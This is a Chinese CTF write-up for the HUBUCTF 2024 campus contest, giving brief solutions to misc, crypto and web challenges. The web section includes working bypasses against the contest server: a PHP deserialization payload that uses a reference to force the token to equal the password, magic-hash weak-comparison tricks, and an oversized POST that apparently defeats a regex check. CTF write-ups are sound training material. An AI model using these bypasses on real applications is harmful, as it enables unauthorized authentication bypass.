hubuctf培训wp
HUBUCTF 2024校赛存档wp
misc+web+cryto
sorin
MiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmiscMiscmisc
- Convert
解压,给出了一堆10,赛博厨子一把梭

发现是rar压缩包,导出后解压发现主题藏东西

Base64解密获得flag

- Passwd
解压是一个pcap文件,wireshark打开,发现大量tcp协议

搜索关键词Password

追踪流

发现passwd,但是直接提交是错误的,这里需要查看hex转储

这里需要知道7f代表delete,也就是删除,所以拼接得到backd00Rmat就是flag
- reverse me
010打开,发现是按双字节倒置过来的jpg文件,用工具或脚本都能恢复,这边我直接用曾哥的i命令恢复


镜像的flag,用在线工具或者ps的镜像都能恢复

- try_it
常规爆破

解压后是jsfuck文本

在线网站直接解

CrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCrytoCryto
- 这是什么?
一个apk文件,010打开,发现蹊跷

提取jsfuck解密

- Aes

观察代码,key是32位,iv是16位,所以异或的内容转bytes的前16位取前两位×16就是key,iv就是输出内容与key异或即可
Exp:from Crypto.Cipher import AES
import os
import gmpy2
# from flag import FLAG
from Crypto.Util.number import *
xors=91144196586662942563895769614300232343026691029427747065707381728622849079757
m=b'@H\x15-\xd8\xb0}M\xd0\xde0\xa8\x97\xed\x7f\xae\xe32\xf4}C\x1dB!\xe6k\xbc\xd1\x96 \xdc\x0b'
key=long_to_bytes(xors)[:2]*16
iv=long_to_bytes(bytes_to_long(key)^xors)
cipher=AES.new(key,AES.MODE_CBC,iv)
c=cipher.decrypt(m)
print(c)
WebwebwebwebWebwebwebwebWebwebwebwebWebwebwebwebWebwebwebwe
- easyweb1
数组绕过
- Easyweb2
弱比较,双0e绕过

- easyweb3

这里用弱地址域相等
<?php
class hubu{
public $token;
private $password;
public function __construct(){
$this->token=&$this->password;
}
public function login(){
return $this->token===$this->password;
}
}
$hubus=new hubu();
echo urlencode(serialize($hubus));

- easyweb4
Expimport requests
url = 'http://challenge.hubuctf.cn:32280/'
data = {
'data': 'very' * 250000 + '77r1kka'
}
r = requests.post(url=url, data=data).text
print(r)

 
                
             
         浙公网安备 33010602011771号
浙公网安备 33010602011771号